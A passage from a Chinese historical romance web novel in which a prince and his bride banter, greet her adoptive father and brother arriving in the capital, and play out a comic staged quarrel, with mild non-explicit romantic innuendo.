昨儿个他们两人天还没黑就开始了,后来是她实在饿得不行了,他才抱着她用了个晚膳,饭后休息了一下,他带着她洗漱,之后又拉着她胡来,闹到后半夜,他们才歇下,这人现在竟然又这么有精力?
姜黎婳轻轻推着他的肩膀,“你一会儿该早朝了。”
“不会迟到的。”楚御礼有些不满的皱眉,“你专心点。”
姜黎婳都有些搞不懂,昨天那场好好的谈话,最后怎么以这种方式收尾了。
见姜黎婳还心不在焉,楚御礼眼睛一眯有了动作,姜黎婳一个闷哼,忍不住抓了他的后背一下,嗓音也变得娇媚起来,“你轻点儿。”
楚御礼瞧着她骤然变红的眼尾,嘴角微微巧了起来,“娘子对为夫的技术还满意吗?”
姜黎婳因为生理反应眯着眼睛,此时看不真切他的表情,她抓着他肩膀的手用了力气,“你别磨人了,快些。”
楚御礼满意一笑,他同意了她的话,加快了自己的动作,但是很快又停下来,有些坏坏的笑了一声,“娘子,有了为夫在前,你以后还能找其他人吗?”
姜黎婳睁开眼睛看着他,蹙眉,“嗯?”
“为夫好像找到了能让娘子你一直留在为夫身边的信心。”楚御礼在她耳垂上轻轻咬了一下,“娘子,除了我,谁还能让你这样快乐?”
姜黎婳:“.......”
小说里面怎么没有写这短命大皇子还是个这么自恋的人?
她被他故意拖着,实在是受不了了,她仰着头咬了他一下,“快点!”
后者先是闷哼了一声,接着轻笑了一声,满足了她的要求。
酣畅淋漓之后,姜黎婳是一动不想动了,已经学会了换床单技能的御王殿下亲自抱着虚脱的娘子去了隔间的盥洗室清洗,然后回来把床单被褥换了,把脏掉的被褥丢给了外面的暗卫。
接住已经不知道是第几床被褥的沉鹤:“......”
他有点想和冽风一同当差的时候了。
为什么昨夜当值的是他!
命苦!
第140章 吕静雅:我不该在车里应该在车底
一连好几日楚御礼都没有放过那个想要给他纳妾生孩子的姜黎婳。
姜黎婳终于承受不住他的攻势,投降了,“以后我再也不说给王爷纳妾的话了。”
楚御礼眉梢微挑,“那娘子还会想要我不碰你吗?”
姜黎婳:“......”
楚御礼抬手理了理她鬓边的头发,语气含笑,“为夫也与娘子一样有很严重的洁癖,除了娘子这个王妃之外,是不会碰其他女人的,娘子以后莫要说不让我碰你那种气话了。”
说到这里他眉梢轻轻挑了挑,“如今娘子应该舍不得说那种话了吧?”
他低低地在她耳边轻笑了一声,“这么些日子以来,娘子应该食髓知味,知道为夫的好了吧?娘子还舍得把为夫拱手让人吗?”
姜黎婳瞧着他这副模样眼睛忽然眨了眨,这人这语气听着怎么那么像她以前电视里面看到的那啥男...公关啊?
楚御礼瞧她愣住没说话,眉梢微挑,“看来娘子还是不满意为夫的技术,那为夫只能再练练了。”
他把人扑倒在床,眼神带笑,“只是委屈娘子再与为夫好生练练了,为夫一定勤加练习多多努力,直到娘子你满意为止。”
姜黎婳回过神来猛地把人推开,“不用练习了,王爷你已经很厉害了!”
她一个蹿身逃一般的离开床榻,去隔间穿衣裳,“我可以出门了!而且今天是兄长和父亲到京城的日子,我要去接父亲和兄长!”
楚御礼被她推倒在床上,就见她跑出去了,他也没生气,慢条斯理的坐起身整理了一下有些凌乱的头发,然后跟着去穿衣,“我随你一同去接。”
“静雅说要与我一同去接的。”姜黎婳唤来知夏为自己梳妆,“你不用入宫吗?”
“她能去我就不能去了?”楚御礼挑眉,“你不让为夫去,为夫还非得去不可。”
两人带着婢女和侍卫出门了,姜黎婳说先去接吕静雅,吕静雅听说自己的偶像进京了,激动的早早就在伯府门外等着姜黎婳他们了,瞧王府的马车过来,她也没有客气,与知夏和昭临打了招呼直接就钻进马车。
看到楚御礼也在马车里面,她尴尬的给楚御礼见礼,“御王殿下。”
楚御礼一直牵着姜黎婳的手,他颔首让吕静雅不要拘礼。
吕静雅也的确没有拘礼,在姜黎婳身边坐下之后就拉着姜黎婳的另一只手与姜黎婳说话,她一边说一边拿出自己收藏的江南杂事笑着问姜黎婳,“我可以让他给我签名吗?”
姜黎婳好笑的点头,“自然可以。”
楚御礼瞧着娘子的另一只手被别人拉着,他眼睛眯了眯,“本王记得吕小姐好像年岁也不小了,家中可想着给你定亲了?”
早点成亲让她夫君管好她,省得来和他抢娘子!
吕静雅毫不在意的笑了笑,“我才十六,明年再议亲都来得及,家中不着急的。”
她说罢不再理会楚御礼,而是偏头看着姜黎婳,正要问姜斯羽有些什么喜好,就被姜黎婳那白里透红的脸颊吸引了目光,她眨了眨眼睛,忍不住感叹,“哇,婳姐姐,你这脸色太好了吧!上次殿下生辰我见你,你的脸色都没这么好!你这些日子都做了什么啊?”
她忍不住伸手捏了捏姜黎婳白嫩的脸颊,“白里透红,玲珑剔透的,让我忍不住想咬一口了!”
楚御礼脸一沉,“你说什么?”
“我只是比喻一下,并不是真的要去咬一口!”吕静雅感受到某人危险的气息咽了咽口水,“不过婳姐姐你这脸色为什么这么好啊?如今入了秋,我的皮肤都开始干燥了,你到底是怎么保养的?”
“成个亲你就知道怎么保养了。”楚御礼睨了吕静雅一眼,伸手揽着姜黎婳的腰肢往自己身边一带,语气还有些小傲娇,“你婳姐姐如今这气血十足的模样,都是我养得好。”
吕静雅瞧着占有欲如此强的人眼角人抽了抽,不过听到后面的话,又忍不住问,“那殿下你是怎么养的?”
“自然以阴阳调和之法养之。”楚御礼挑眉看着吕静雅,嘴角勾起一抹浅浅的弧度,“你还未成亲,听了也没用。”
吕静雅张嘴刚要反驳,忽然就悟了,她眨了眨眼睛,看向巴不得找个地缝钻进去的姜黎婳,嘿嘿一笑,“婳姐姐,原来你和王爷关系这么好的呀
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,你要不要把你和王爷的故事告诉姜斯羽,让姜斯羽写一本病弱王爷独宠换亲王妃呀?”
姜黎婳:“.......”
这不愧是总爱看话本子的人,总结得真到位。
“那种事光看话本子有什么意思。”楚御礼眼神凉凉地睨了吕静雅一眼,似笑非笑地说道,“不如本王给你母亲提个建议,让她早些把你家人,你也好亲身体验一下,如何?”
“王爷你就是要把我往火坑里面推!”吕静雅撇嘴,“话本里可说了,婚姻是女性的坟墓!我若嫁人了,可不能这么自在地看话本子了,更不能想哪儿就去哪儿了,我才不会上你的当!”
楚御礼眉梢微挑,他把玩着姜黎婳柔弱无骨的手,轻嗤,“那是你所嫁非人,你瞧你婳姐姐,如今不是想去哪儿就去哪儿。”
吕静雅和姜黎婳两人同时看他。
楚御礼撑开姜黎婳的手与她十指相扣,“你们没找到好男人,是自己的运气不好,可别在你婳姐姐面前乱说。”
他说罢偏头看着姜黎婳,“你想做什么都可以,你与为夫成亲,为夫想成为你的助力,而不是束缚。”
姜黎婳微微有些动容,想到成亲这些日子以来,她想做什么,他的确事事都顺着她的。
她正要说话,就听楚御礼道,“不过你做什么事情都要告诉为夫,为夫陪着你。”
“那婳姐姐岂不是也没有自由了。”吕静雅撇嘴,“话说得好听,最后还不是把婳姐姐束缚在你身边。”
楚御礼眼睛一眯,“你想下车自己走路了?”
吕静雅做了个封口的动作,“我闭嘴。”
楚御礼哼了一声,捏着姜黎婳的手,低声道:“你知道我说的那些话的意思,对吧?”
姜黎婳叹气,“好,以后只要王爷你有空,我不管做什么都带着你。”
你也没必要这么患得患失的,身为堂堂御王若让人知道你这么粘着自己的王妃,怕是真的要让文武百官大跌眼镜了。
吕静雅听着两人的对话,嘴角又抽了抽,“我是不是先前就应该自己坐一辆马车的?”
她不该出现在车里应该出现在车底。
第141章 姜家父子进京
姜黎婳他们的马车到达城门外的时候,赵旭庭已经在那里等着了,看到姜黎婳他们从马车上走下来,他主动走过来和姜黎婳打招呼,“小花儿,你也过来接老师?”
姜黎婳有些诧异的点了点头,“赵大哥也知道兄长他们今日入京?”
赵旭庭含笑颔首,“自第一次在京城见你我就给老师写了书信,所以这些日子以来我们一直有联系,知道他们今日入京,便想着过来迎接一下老师和姜伯伯。”
被忽略得很彻底的楚御礼冷哼了一声,“无事献殷勤。”
赵旭庭在心中朝着楚御礼翻了个白眼,接着朝他拱手,“御王殿下,如今刑部尚书之位空缺,殿下又在刑部任职,在下还以为殿下会很忙,没成想殿下竟然这般空闲,这个时辰还有时间陪王妃来这南城门外接人。”
“岳父和舅兄是本王与婳儿成亲之后第一次到京城,本王很是重视,所以即便公务繁忙也会抽时间亲自过来迎接。”楚御礼凉凉的睨了赵旭庭一眼,冷哼道:“倒是赵公子一个外人今日还特意赶过来与我们一起迎接本王的岳父和舅兄,实在是多此一举。”
站在三人旁边的吕静雅觉得她今天着实不应该过来的。
姜黎婳瞧着一见面就**味十足的两人,实在觉得头大,她牵着吕静雅往前面走了一点,这时候一辆宽大舒适的马车进入几人的视线,知夏笑着道:“是晏殊!肯定是大公子和老爷。”
姜黎婳激动的朝前面走去,楚御礼见状也懒得再和赵旭庭多说,抬步去追姜黎婳,赵旭庭见状也不甘示弱的追了上去,与楚御礼并肩朝姜黎婳追过去。
姜黎婳才没有管他们,她带着吕静雅和知夏往前跑,和车夫坐在车板上的晏殊看到姜黎婳,他眼睛一亮,朝姜黎婳挥手,“小姐!”
他让车夫停下马车,从马车上跳下来给姜黎婳拱手问好,姜黎婳笑着颔首,“晏殊。”
此时车帘被抑制骨节分明的时候掀开,接着一个身着月白长衫的男子从马车中走了出来,男子头发用一根简单的玉簪束着,两缕碎发垂在额前,衬得他原本就清隽的眉眼更为脱尘,他鼻梁高挺,薄薄的嘴唇透着几分疏离,在他朝着姜黎婳看过来的时候他眼底的那清冷疏离之感瞬间消失无踪。
他走下马车,朝姜黎婳招手,轻笑,“小梨花,过来。”
姜黎婳提着裙子朝他奔去,“哥哥。”
姜斯羽伸手把姜黎婳接住紧紧地抱在怀中,接着轻轻地拍了拍姜黎婳的后背,笑着问,“这些日子过得可好?”
看着这一幕的楚御礼眼睛一眯,垂在身侧的手忍不住收拢,他正要往前走,马车上又走下一人,此人容貌俊雅,眉眼含笑,即便上了年纪依旧是一个可以迷倒不少女子的男人。
中年男人见到姜黎婳显然很高兴,说话都带着爽朗的笑声,“乖女儿,可想死爹爹了!”
姜黎婳立刻推开姜斯羽扑到姜淮邦怀里,“爹爹!”
见姜黎婳这么快就抛弃自己了,姜斯羽捏着的手指搓了搓,这才看向楚御礼等人,“这几位是?”
他问的自然不是赵旭庭,而是楚御礼和吕静雅还有昭临。
姜黎婳这才想起自己还带了人来,想到自己回来没多久就成亲了,姜黎婳有点无颜面对父兄,她垂着头走到楚御礼面前,“这是我的夫君。”
楚御礼瞧着她那巴不得把头垂到土里的模样,忍不住皱起了眉头,片刻后他展眉往前走了一步,“小婿见过岳父,舅兄。”
“你成亲了?”姜斯羽眼底闪过一丝不可置信,“为何之前来往的书信里面你从未提起?”
姜淮邦眼底先是一闪而过的震惊,接着就是自家白菜被猪拱了的痛心。
姜黎婳眨了眨眼睛,她有些惊讶的看向赵旭庭,他也没有告密?
赵旭庭耸肩,“没你的允许我敢说?”
姜黎婳撇嘴,然后笑着抬头看向用审视的目光盯着楚御礼的爹爹和哥哥,底气不足的狡辩:“我这不是想给兄长和哥哥一个惊喜吗?”
“惊喜?”姜斯羽摇头,“只惊不喜。”
说着他眯眼盯着楚御礼,“这就是你亲生父母给你选的亲事?”
“不是。”姜黎婳不想在大街上说这些,她转身拉着从看到姜斯羽之后就一直在发呆的吕静雅介绍道:“这是我表妹吕静雅,她是哥哥你的书迷,她可喜欢你写的江南杂事了,你记得给她签个名。”
姜斯羽闻言立刻抬头挺胸,对着吕静雅疏离的点了点头,“那本江南杂
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事本事我闲来无事写来打发时间的作品,能得吕小姐喜欢,是它的造化。”
吕静雅愣愣的点了点头,“它的确很有造化。”
吕静雅表面平静,内心已经疯了。
啊啊啊啊,真是没想到写出江南杂事那种故事的人,竟然长得这么好看!!!
她以后一定要让表姐带着自己和她哥哥多相处!
多看看那帅哥洗眼睛!
姜斯羽:“?”
这书迷的反应很不正常啊?竟然一点都没有江南那些书迷看到他之后的花痴模样...
这边楚御礼已经走到了姜淮邦身边与姜淮邦攀谈了起来,“岳父和舅兄初来京城,京中的宅子也需要打扫,这些日子岳父和舅兄不如就先住我们御王府中,等京中宅子收拾妥当了再搬进去住。”
“这怎么好意思,我们就住...”自从知道眼前这俊美绝伦的男子是自己的女婿之后就刻意在表现的疏离起来的姜淮邦愣住了,他缓缓抬头看着楚御礼,“你方才说什么?”
赵旭庭瞧着楚御礼那装装的模样,忍不住翻了一个白眼,他撇了撇嘴,上前道:“姜伯伯,小花儿的夫君可是咱们当今圣上的嫡长子,如今的御亲王呢。”
姜斯羽猛地偏头看向楚御礼,他心头一震,御亲王?
那让小梨花和这个男人和离岂不是不行了?
姜淮邦震惊过后,连忙退了两步朝楚御礼行礼,“参见御王...”
“岳父,小婿在您这儿可不是什么王爷,我只是婳儿的夫君罢了,岳父无需多礼。”楚御礼说到这里亲昵的看了姜黎婳一眼,温声道:“小婿若在这人受了您这一礼,回去定会被婳儿罚的。”
姜淮邦震惊,这王爷这么宠他乖女儿?还会被她女儿罚?
他乖女儿御夫有术?
不对啊,女儿在进京之前虽然可以与一般男子交谈,但是绝对不会有其他举动的,她应该不了解男子才是,怎么会御夫有术了?
而姜斯羽听到楚御礼这话,眼睛则眯了起来,他的眼神打量着楚御礼,打算从楚御礼那里看出些许说谎的破绽...
但他破绽没看到,只看到楚御礼走过来牵着姜黎婳的手,笑着对他们道:“既然人接到了,咱们就先进城吧。”
第142章 他的娘子谁都抢不走
姜淮邦和姜斯羽站在原地看着姜黎婳被楚御礼牵着手上了另一辆马车,父子两人对视了一眼,姜淮邦感叹,“看来这位御王对梨梨的确很好啊。”
他小时候想抱一下女儿,女儿都会被吓哭,后来他还是经过不懈努力,两三年之后女儿才让他抱抱举高高的,这王爷小子竟然这么轻易就牵到他女儿的手了?
姜斯羽则眯着眼睛盯着扶姜黎婳上马车的楚御礼,冷声道:“这京城之人果然会装,堂堂王爷真的能这般体贴入微?他莫不是要骗我们小梨花吧?”
“他会装如果能装一辈子也不错,但是他若敢对我宠着长大的乖女儿受委屈。”姜淮邦眼睛一眯,狠狠甩袖,“那我就是散尽家财也要和他拼了!”
“那可不行!小梨花好不容易才变成现在这活泼开朗的样子,若是被他骗了再变得害怕见人怎么办?”姜斯羽眼睛一眯,沉声道:“不如咱们劝小梨花与他和离?”
“你是话本子写多了是吗?”姜淮邦让姜斯羽的后脑吃了一个暴栗,“你以为与皇家和离真的是那么简单的事情吗?”
姜淮邦负手上了马车,语气沉沉,“那个御王究竟对梨梨是真心还是假意,咱们一会儿好好观察一番就是。”
马车进城之后又行了很长的还进,最终在聚香楼门口停下,楚御礼下车之后去接姜黎婳,等她从马车上下来之后,他轻揽着姜黎婳的腰走到姜淮邦父子两人的马车前面笑着对从马车上下来的父子两人道:“岳父和舅兄一路赶来应该还没有用午膳,我已经让人在这聚香楼备了酒席,给岳父和舅兄接风洗尘。”
姜黎婳没想到他不但知道自己的爹爹和哥哥进京的时间,还这么周到的准备了接风宴,她有些动容地看向楚御礼,低声问,“你什么时候准备的?”
“娘子觉得呢?”他低声在她耳边吹了口气,“娘子以为这些日子为夫这些日子真的就只顾着与你共赴云雨了吗?正事为夫可一点都没忘。”
姜黎婳的脖子被他惹红了一片,她嗔了楚御礼一眼,跑过去挽着姜淮邦的手,笑着道:“爹爹,这家的饭菜很好吃的,也有很多江南菜,你今天可要好好尝尝。”
楚御礼朝面色不好的姜斯羽做了一个请的手势,“舅兄先请。”
姜斯羽嗯了一声错过他就往里面走。
站在一旁的赵旭庭眯眼看着楚御礼,楚御礼转身就朝酒楼里面走,“家庭小聚,就不留赵公子了。”
赵旭庭瞪眼,他抬步追上去,“我也算半个姜家人!”
楚御礼瞧着越过自己跑进去的某人,在心头骂了句恬不知耻,然后回眸看向不敢跟进来的吕静雅,蹙眉,“怎么?还不想进来?”
吕静雅嘿嘿一笑,“其实咱们也算半个家人对吧?我与婳姐姐是表姐妹,以我母亲和皇后娘娘的关系来说,我也应该喊你一声表哥的,所以我不算外人吧?”
楚御礼懒得和她废话,抬步朝里面走去。
这时候姜黎婳从雅间里面走出来朝吕静雅招手,“静雅快来啊,我哥哥说要给你签名呢!”
吕静雅闻言眼睛一亮,错过楚御礼就朝二楼跑去。
街边。
带着刘嬷嬷出来采买的吕月琴此时正怔愣地站在街边,脑海中全是先前姜黎婳挽着一个中年男人俏皮又亲昵地喊爹爹的模样。
她从未在自己面前露出过那种俏皮又亲昵的模样,而自己也从未像那个男人那样宠爱过她。
这些日子她总是在重复的做那个梦,梦中自己被苏清欢一家人蒙骗,总是对她恶语相向,还对她说出那种**的人不是你这种话...
每每醒来,她都觉得痛心无比,她想去找她,想要弥补她,但是却害怕惹怒御王之后给两个儿子带来祸事,她想如果她等等,等女儿想通了,说不定就会回来找她了。
梦中的女儿这么渴望得到自己的母爱,说不定她将来会回来找她呢。
可如今,女儿挽着别人喊爹爹,和旁人一家和美,完全把她这个亲娘给忘了。
吕月琴紧紧地闭了闭眼睛,有些没有力气的问刘嬷嬷,“她是不是真的不会原谅我了?”
刘嬷嬷叹气,“或许夫人和御王妃本来就母女缘浅。”
若当初闹出善妒一事之后夫人听了自己的劝说,替小姐说句话澄清一下,事情也不至于走到现在这个地步
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不过想到自己曾经也因为苏清欢的挑拨觉得小姐不懂事,刘嬷嬷就有些愧疚,她想夫人不去打扰小姐或许才是对的。
“时辰不早了,两位少爷不是说了今日会回来吃饭吗?咱们东西都买好了,就先回去了吧?”
吕月琴的眼泪从眼眶里面滑落,她像是没有听到刘嬷嬷的话一样,再问,“你说她要如何才能原谅我,再喊我一声娘?”
刘嬷嬷抿嘴,“夫人,时辰不早了,一会儿两位少爷回来,您不在家中,会惹得两位少爷担忧的。”
酒楼中。
姜黎婳瞧着一个劲儿给自家父兄敬酒的楚御礼,忍不住道:“你少喝一点。”
“娘子你别拦着为夫,今儿个岳父入京,娘子你又多了一个在身边疼爱你的人,为夫实在是高兴,所以必须得陪岳父和舅兄多喝两杯。”楚御礼说着亲自给姜淮邦倒酒,“岳父,娘子她已经与亲生父母断绝了关系,从此之后她就是你们姜氏女,你们一定要像以前那样疼她爱她。”
楚御礼说到这里伸手抱住姜黎婳的腰,把头搭在姜黎婳的肩膀上,眼眶红红,“我家娘子太可怜了,被亲生父母认回家中,却让她受惊委屈,甚至被换亲嫁给了我这个病弱之人,虽说如今我已恢复健康,也帮娘子与苏家彻底断绝了关系,还让苏家自食恶果了,但我却给不了娘子亲人之间的关怀。”
姜斯羽眼睛一眯,他端着酒杯的手也顿了顿,他从这段话里面听到了很多重点,但还有一个重点是:“你给不了小梨花关怀?”
楚御礼眼神迷离的看了姜斯羽一眼点头,他搂着姜黎婳的腰,闷闷点头,“我与岳父和舅兄给娘子的关怀自然是不一样的,我能给娘子关怀和爱护,但我只是娘子的夫君,我们之间是夫妻情爱,不是亲人之间的亲情,情爱和亲情我的娘子都得拥有,我家娘子这么好的人,她值得这世上的一切美好。”
姜斯羽眼睛一眯,目光从和姜黎婳黏在一起的楚御礼身上挪开。
楚御礼则阖上眼,嘴角勾起一抹浅淡的弧度。
他的娘子。
谁都不能抢走。
即便是舅兄也不行!
第143章 王爷三分醉演到你流泪
楚御礼喝醉了,后来一直抱着姜黎婳不撒手,姜黎婳知道他有多粘人,喝醉酒之后只会更甚,随意即便在父兄面前觉得难为情依旧由着他,饭后她和昭临两人亲自扶着楚御礼上了马车,这才抽出身来去给父兄说话。
姜黎婳有些不舍的看着姜淮邦,“爹爹和哥哥真的不愿和我们回王府住?”
姜淮邦笑着拍了拍如今看上去过得很不错的女儿,慈祥的笑着道:“我与你哥哥再怎么说也是外男,你的身世本就惹人非议,若我们再住到王府去,怕是会有人找你不痛快,咱们家在南城有宅院,住自己也自在些,你有空时常过去看看我们就是。”
“南城离着太远了,我这两日就让人在西城找一下合适的宅院,届时爹爹和哥哥就搬过来,如何?”
“也行。”姜淮邦笑着冲姜黎婳挥了挥手,“快回去吧,我看御王喝了不少酒,现在应该不好受。”
“等一下。”姜斯羽拦住姜黎婳,朝着她使了一个眼色,“和哥哥聊两句?”
姜黎婳点头,兄妹两人朝旁边走了两步,姜斯羽上下打量了一下姜黎婳的气色,又回眸看了王府的马车,斟酌了片刻他才低声问,“妹妹如今已经不抗拒与男子接触了?”
姜黎婳一怔,接着有些羞涩的垂下头,她知道哥哥这是在关心她,但是当着哥哥的面说自己与王爷之间的事情,她还是有些不好意思。
看着她那羞涩的模样,姜斯羽只觉得心头闷闷的,他深深地看着被自己从小捧在手心中长大的妹妹,语气晦暗不明,“你喜欢他?”
“我不知道。”姜黎婳轻轻摇头,她低着头看着自己的裙角,想到这些日子以来他对自己的所作所为,她虽然嘴上会抗拒,但是心底却很开心的,如今和他做那些亲密的行为,她已经丝毫都不觉得抗拒了,甚至像他说的那样,她还挺乐在其中的。
“我与王爷成亲当夜就不觉得抗拒与他接触。”她很清楚的记得,以前除了父兄以外的男子就算是触碰到她,她都会难受,但他们成亲那天,他牵她的手,与她和交杯酒,她都没有丝毫的抗拒,甚至后来他们洞房...
她虽然当时有些抗拒,但却很快就接受了。
可见她从未抗拒过和他的亲密接触。
“所以那个御王对你来说是很特别的存在。”姜斯羽眉头微微皱了起来,“他真的对你很好吗?”
她抬头看向姜斯羽,眉眼含笑,“他是除了爹爹和哥哥之外第一个无条件对我好的人,如果哥哥去打听一下他曾为我做的事情,你们一定会接受他的。”
“你这丫头。”姜斯羽抬手敲了姜黎婳的额头一下,有些无奈的笑道:“才成亲多久?就一个劲儿的为他说好话了。”
姜黎婳抬手揉了揉自己的额头,“我这也是说得实话呀。”
姜斯羽还欲说话,王府马车的车帘忽然被人掀开,接着楚御礼醉醺醺的脸趴在了车窗上,他有些委屈的看着姜黎婳,撇嘴抱怨,“娘子,你是不是不要为夫了?你怎么把为夫一个人扔在马车上了?”
他说着就要从马车上下来,姜黎婳连忙跑过去阻止他,语气带着一丝哄小孩的温柔,“我没有不要你,我只是和哥哥多说了两句话。”
“那我也要和哥哥说两句话。”因为姜黎婳站在马车下面的,他伸手就只能抱着姜黎婳的脖子,他抱着姜黎婳,把头靠在她的肩膀上,笑看着姜斯羽,扬声道:“舅兄,我告诉你,我娘子可喜欢我了,我也可喜欢我娘子了,我以后一定会只爱我娘子一个人的,所以舅兄你放心把娘子交给我吧!”
他说罢吧唧一声在姜黎婳脸上亲了一口,“娘子,你知道我心悦你吧?”
姜黎婳捂着脸,她怎么不知道喝醉酒的王爷竟然这么放得开啊!
这大庭广众之下,竟然就这样当众亲她?
姜淮邦看到这一幕英俊儒雅的脸都要笑烂了,他的女婿竟然这般爱惜自己的女儿,看来以后不用替女儿操心了。
姜斯羽懒得理发酒疯宣示**的王爷,挥袖直接上了马车,话都不想和自己的妹妹说了。
赵旭庭更甚,他被那一幕刺痛了双眼,气得狠狠地
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瞪了一眼楚御礼,转身大步离开。
而吕静雅...
她有些为难的看了一眼抱着自家表姐不撒手的表哥....
“其实这里离永宁伯府也不算太远,我走路的话一个时辰应该能到吧...”她觉得自己这时候上马车和他们同乘一辆让他们送自己回去的话,可能会被御王丢下马车的。
“你今日出门没有带婢女,若出个意外我如何向舅母交代?”姜黎婳轻轻推开依旧抱着自己的楚御礼,“我们先送你回府。”
“昭临。”黏着姜黎婳的楚御礼忽然喊了一声。
站在一旁的昭临立刻走过来对着吕静雅恭敬道:“吕小姐,属下送您回府,旁边就有车行,您稍等片刻,属下去租个马车。”
姜黎婳还要说话,楚御礼就拽着她上马车了,知夏有些为难的站在原地,她也不会赶车啊?
就在她为难的时候,青砚不知道从哪儿冒了出来,他坐上车板拍了拍身边的位置,“知夏姐姐,上车回府咯。”
知夏看着神出鬼没的青砚,呵呵笑了一声。
果然,王爷身边个个都是鬼才,这人不知道是从哪儿冒出来的,明明先前都不在的啊。
姜黎婳上了马车,就被楚御礼抱了个满怀,她伸手推着把自己抱得紧紧的人,掀开车帘对吕静雅道:“改日有空再找你玩。”
吕静雅连忙挥手,“表姐快带御王殿下回去吧,我瞧他今天喝了不少酒。”
姜黎婳还欲说话车帘就被人强势的拉下来了,接着粗重的呼吸打在她脸上,“娘子...你真好看。”
姜黎婳连忙推着他,低声道:“马车上,王爷别乱来。”
“娘子也不喜欢我吗?”楚御礼松开姜黎婳,有些落寞地坐在马车的角落,“我能感受到,舅兄不喜欢我。”
他抬眸看着姜黎婳,眼眶红红,声音委屈,“娘子,我能看得出来娘子很听岳父和舅兄的话,如果舅兄让你离开为夫,你真的会离开为夫吗?”
姜黎婳:“......”
现在是离不开这一茬儿了是吧?
第144章 玩脱了,王爷跪搓衣板
楚御礼的委屈一直持续到了御王府,下车的时候差点绊倒都不要姜黎婳扶,甚至有些委屈的超姜黎婳低声吼道,“既然娘子都在想着如何离开为夫,何必装出一副关心为夫的模样。”
他抬眸看她,如同看一个负心汉,“不如让为夫就这样摔**算了。”
姜黎婳瞧着稳稳地站在地上不要自己扶,但是又不自己往府中走的王爷,实在憋不住掩唇笑了,“王爷何时变得这般娇气了?”
楚御礼受伤得往后退了两步,“你现在还嫌我娇气?”
姜黎婳笑着上前挽着楚御礼的手往府中走,“好了,王爷如今身为亲王,可莫要被人看了笑话去,有什么话,咱们回府慢慢说。”
楚御礼顺势拉着她的手,“我想听你说,娘子,你喜不喜欢为夫?你会不会留在为夫身边?”
“难道这些时日以来,是妾身表现得不够明确吗?”姜黎婳嗔了楚御礼一眼,面色微红,“王爷您这些日子以来说想要一个孩子这样就能把妾身拴在您身边,所以夜夜与妾身行鱼水之欢,妾身即便身心俱疲依旧满足于你,就是为了给你安全感,怎么事到如今,王爷还在怀疑妾身会离开您?”
姜黎婳说到这里眉眼之间也染上了委屈,她抽出被楚御礼捏着的时候,顺势推开楚御礼,抬手遮住自己的眉眼,“原来在王爷心中就从未信任过妾身,妾身为了王爷鞠躬尽瘁,王爷竟然还如此怀疑我的心,妾身这些日子对王爷的心思果然都错付了。”
姜黎婳说罢抬步就朝自己的梨月居跑。
知夏赶紧跟了上去。
楚御礼忽然被推开,然后瞧着自家娘子就那样跑了,他脸上哪儿还有半点醉酒之意,他刚刚那样不过是为了让娘子多看他几眼,让娘子多疼惜他,怎么现在变成他不信任她了?
“娘子,你听我说,我没有不信任你!”他抬步追上去。
看了一出夫妻大戏的青砚摇头轻叹,“风啊,你们平时都吃得这么好的吗?王妃和王爷亲自唱戏给你们听?”
早知道他当初就不当什么亲卫了,当个暗卫不好吗?随时随地看王爷和王妃飙戏!
这夫妇二人,真的是一个比一个能演!
这边姜黎婳跑进梨月居就让知夏关了院门,知夏虽然不明白王妃为什么要让自己这么做,但是照做了,她一把把门关上,然后上了门栓,接着门外传来敲门声,“婳儿,为夫错了,你先把门打开。”
知夏偏头看向自家王妃。
而自己王妃脸上哪儿有半点哭过的痕迹,她正要说话,就见自家王妃在石阶上坐下,带着哭腔道:“王爷既然那般不信任妾身,您就走吧,把妾身关在这院子中,再也别放妾身出去,把妾身一辈子锁在这院中吧!”
听到动静从自己房中出来的佩玉和铃铛听到这话,冷汗都要吓出来了,佩玉连忙走过来扶着坐在石阶上的姜黎婳站起来,“王妃,您和王爷是不是有什么误会?”
“是啊,您最喜欢自由了,若被关在这里的话,早晚会被关出病来的!”铃铛也大声说道,“您若是惹怒了王爷,您就去给王爷道个歉,可千万别和王爷来硬的啊。”
“病就病了,死就**,我**也是王府的鬼。”姜黎婳冲佩玉眨了眨眼睛,接着哭道:“也许我**,王爷就相信我是真的不会离开他了,否则即便我能走出王府,却要被王爷时时怀疑,那我活着还有什么意思。”
姜黎婳的话音刚落下,一个身影就从院墙上跳了下来,他一把拽住姜黎婳的手就往屋内大步走去。
还在装哭的姜黎婳瞧着从天而降的人,一时之间忘了说话了。
她使劲咬了自己的舌头一下,疼痛感袭来,泪水一下就从眼眶里面滑落出来...
楚御礼拉着姜黎婳进屋转身就看到姜黎婳哭了,一时之间他狡辩的话全都堵在了喉咙中。
娘子嫁给他这么久以来,第一次哭还是那次她说梦境的时候...
他竟然又给娘子惹哭了?
“娘子...”楚御礼连忙抬手为她拭泪,“都是为夫的错,你别哭了,可好?”
姜黎婳往后退了一步,“王爷没错,错的是妾身,是妾身没能取得王爷的信任,是妾身的无能。”
楚御礼赶紧拉着她的手,“为夫说那些只是想加一些咱们夫妻之间的情趣,所以才故意扭着娘子你闹的,娘子就别与为夫计较了可好?”
姜黎婳垂眸,眼睫毛上
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还挂着泪珠,“王爷一时兴起便要怀疑妾身一番,妾身真真的是累了。”
“我错了!”楚御礼扬声喊道,“佩玉,把搓衣板拿来!”
姜黎婳瞪眼,“你还要我跪搓衣板?”
家暴的男人要不得,罚妻子跪搓衣板的男人更要不得!
“我跪!”楚御礼抓着姜黎婳的手,急切道,“是我不该装醉博娘子同情,害娘子误会,千错万错都是为夫的错,为夫认罚。”
这时候佩玉拿着搓衣板过来了,楚御礼接过搓衣板就把佩玉推了出去,接着他不房门一把关上,把搓衣板扔在地上,自己扑通一下跪了下去,抬头看着姜黎婳,满眼虔诚,“娘子,为夫错了,你就原谅为夫这一次好不好?”
楚御礼是站着直直地跪下去的,姜黎婳被他这一举动吓了一跳,她连忙伸手去拉他,“楚御礼,你这是干什么?快起来!”
楚御礼没动,他仰头看着她,轻笑,“娘子,你喊我的名字真好听,但是你能不能别连名带姓地喊我。”
“你先起来。”姜黎婳蹙眉,“若让旁人知道了,我定会被百官参上一本,说不定还会被母后和父皇责罚。”
“没人看到,所有人只看到我要了搓衣板,还把门关上了,没人知道我跪了搓衣板的。”楚御礼伸手一把抱住姜黎婳的腰肢,语气蛊惑,“娘子,你喊我一声阿礼可好?”
姜黎婳觉得阿礼这两个字,比夫君还绕口,她张了张嘴,实在是喊不出来。
“娘子...”楚御礼跪得笔直,“你果然是记恨上为夫了吗?竟然连为夫的名字都不愿意喊了?”
“阿...阿礼。”姜黎婳咬了一下舌头,伸手拉着楚御礼,“你先起来,你这样跪着,成何体统。”
